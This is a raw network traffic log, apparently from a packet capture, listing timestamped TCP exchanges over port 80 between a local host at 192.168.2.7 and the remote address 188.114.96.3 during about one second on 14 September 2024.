Sep 14, 2024 18:44:30.472564936 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.472599030 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.472623110 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.472631931 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.472666025 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.472698927 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.472733974 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.472762108 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.472778082 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.472778082 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.472801924 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.505115986 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.505151033 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.505201101 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.505203009 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.505253077 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.505285978 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.505301952 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.505320072 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.505352974 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.505366087 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.505386114 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.505425930 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.505435944 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.505469084 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.505501032 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.505515099 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.505536079 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.505568981 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.505583048 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.505603075 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.505635023 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.505647898 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.505669117 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.505702019 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.505717993 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.505736113 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.505779028 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.505785942 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.505820990 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.505851984 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.505867958 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.505901098 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.505934000 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.505947113 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.505965948 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.505997896 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.506011963 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.506047964 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.506082058 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.506095886 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.506115913 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.506149054 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.506166935 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.506242037 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.506273985 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.506290913 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.506308079 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.506340981 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.506352901 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.506371975 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.506403923 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.506417990 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.506436110 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.506469011 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.506483078 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.506503105 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.506535053 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.506547928 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.506567001 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.506612062 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.506618023 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.506652117 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.506685019 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.506706953 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.506720066 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.506767035 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.506771088 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.506803036 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.506835938 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.506849051 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.506886005 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.506917953 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.506932020 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.506967068 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.506999969 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.507014036 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.507033110 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.507066011 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.507078886 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.507100105 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.507132053 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.507145882 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.507165909 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.507200003 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.507213116 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.507234097 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.507266045 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.507281065 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.507296085 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.507328987 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.507338047 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.507361889 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.507391930 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.507399082 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.507431030 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.507469893 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.507503033 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.507517099 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.507536888 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.507581949 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.507586956 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.507622957 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.507654905 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.507668972 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.507688046 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.507735014 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.507747889 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.507769108 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.507802963 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.507817030 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.507837057 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.507870913 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.507879019 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.507905006 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.507937908 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.507951975 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.507972956 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.508003950 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.508018017 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.508037090 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.508065939 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.508086920 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.508097887 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.508131981 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.508136988 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.508160114 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.508192062 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.508208036 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.508227110 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.508258104 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.508291960 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.508304119 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.508326054 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.508339882 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.508359909 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.508394003 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.508405924 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.508429050 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.508460045 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.508476973 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.508493900 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.508524895 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.508553982 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.508558035 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.508590937 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.508600950 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.508642912 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.508676052 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.508693933 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.508713961 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.508747101 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.508760929 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.508780003 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.508810997 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.508826971 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.508843899 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.508876085 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.508882046 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.508909941 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.508954048 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.559842110 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.559866905 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.559884071 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.559899092 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.559915066 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.559943914 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.559962034 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.559978962 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.560013056 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.560105085 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.611526966 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.775892019 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.775964975 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.775985003 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.776005030 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.776056051 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.776057959 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.776093960 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.776128054 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.776140928 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.776161909 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.776196957 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.776209116 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.776233912 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.776268005 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.776277065 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.776302099 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.776334047 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.776350975 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.776365995 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.776395082 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.776407957 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.776447058 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.776480913 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.776494980 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.776510000 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.776540995 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.776559114 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.776575089 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.776618958 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.776648045 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.776683092 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.776717901 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.776737928 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.776751041 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.776796103 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.776802063 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.776837111 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.776869059 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.776885986 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.776904106 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.776937008 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.776951075 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.776971102 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.777004957 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.777018070 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.777039051 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.777070999 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.777081013 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.777105093 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.777141094 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.777157068 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.777177095 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.777209044 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.777223110 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.777251005 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.777283907 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.777299881 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.777318001 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.777350903 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.777360916 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.777384043 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.777427912 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.777434111 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.777471066 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.777502060 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.777518034 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.777534008 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.777563095 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.777582884 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.777614117 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.777664900 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.777664900 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.777694941 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.777729034 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.777741909 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.777762890 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.777793884 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.777812004 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.777827978 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.777862072 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.777877092 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.777896881 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.777930021 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.777944088 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.777962923 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.777996063 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.778012037 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.778028965 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.778060913 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.778076887 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.778094053 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.778126955 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.778141022 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.778161049 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.778188944 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.778207064 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.778224945 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.778258085 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.778269053 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.778291941 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.778325081 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.778336048 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.778362036 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.778398991 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.778410912 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.778429985 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.778462887 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.778476954 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.778495073 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.778542042 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.778546095 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.778578997 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.778594971 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.778631926 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.778652906 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.778666019 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.778677940 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.778698921 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.778733015 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.778752089 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.778764963 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.778798103 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.778815031 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.778830051 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.778862953 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.778877974 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.778897047 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.778930902 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.778949022 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.778964043 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.778999090 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.779011965 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.779032946 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.779066086 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.779077053 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.779099941 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.779134035 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.779145002 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.779167891 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.779201031 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.779210091 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.779234886 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.779268980 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.779283047 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.779299974 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.779331923 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.779347897 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.779364109 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.779413939 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.779416084 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.779449940 CEST	80	54891	188.114.96.3	192.168.2.7
